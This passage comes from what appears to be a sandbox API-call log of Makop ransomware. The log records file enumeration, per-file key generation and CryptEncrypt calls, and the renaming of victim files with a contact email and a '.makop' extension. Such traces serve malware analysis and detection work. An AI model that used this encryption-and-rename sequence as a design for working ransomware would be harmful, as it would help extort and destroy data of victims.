liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0085.399] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0085.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0085.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0085.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x206c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0085.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0085.416] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0085.426] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0085.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0085.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x206c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0085.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c6b80, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0085.432] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0085.440] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0085.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c6b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.442] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0085.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x206c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0085.444] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x206c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.444] SetEndOfFile (hFile=0xf0) returned 1 [0085.455] GetProcessHeap () returned 0x48a0000 [0085.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.455] GetProcessHeap () returned 0x48a0000 [0085.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0085.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.456] CloseHandle (hObject=0xf0) returned 1 [0085.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0085.457] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0085.457] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0085.457] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned 54 [0085.457] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*") returned 58 [0085.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0085.463] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.463] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0085.463] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0085.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.464] GetProcessHeap () returned 0x48a0000 [0085.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.464] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0085.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.469] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.469] GetProcessHeap () returned 0x48a0000 [0085.469] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.469] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.469] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.470] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.470] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.470] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a9b, lpOverlapped=0x0) returned 1 [0085.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1aa0, dwBufLen=0x1aa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1aa0) returned 1 [0085.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1aa0, lpOverlapped=0x0) returned 1 [0085.472] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.473] SetEndOfFile (hFile=0xf0) returned 1 [0085.479] GetProcessHeap () returned 0x48a0000 [0085.479] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.479] GetProcessHeap () returned 0x48a0000 [0085.479] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.479] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.481] CloseHandle (hObject=0xf0) returned 1 [0085.481] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0085.481] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0085.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.483] GetProcessHeap () returned 0x48a0000 [0085.483] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.483] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.483] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.483] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.483] GetProcessHeap () returned 0x48a0000 [0085.483] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.483] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.484] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.484] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.488] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.488] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.489] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.489] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.489] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f160, lpOverlapped=0x0) returned 1 [0085.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f160, dwBufLen=0x4f160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f160) returned 1 [0085.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f160, lpOverlapped=0x0) returned 1 [0085.505] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.505] SetEndOfFile (hFile=0xf0) returned 1 [0085.512] GetProcessHeap () returned 0x48a0000 [0085.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.512] GetProcessHeap () returned 0x48a0000 [0085.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.512] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.514] CloseHandle (hObject=0xf0) returned 1 [0085.514] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0085.514] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0085.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.516] GetProcessHeap () returned 0x48a0000 [0085.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.517] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0085.521] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.521] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.521] GetProcessHeap () returned 0x48a0000 [0085.521] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.521] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.521] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.522] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.522] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.522] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.522] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.523] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.523] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.523] ReadFile (in: 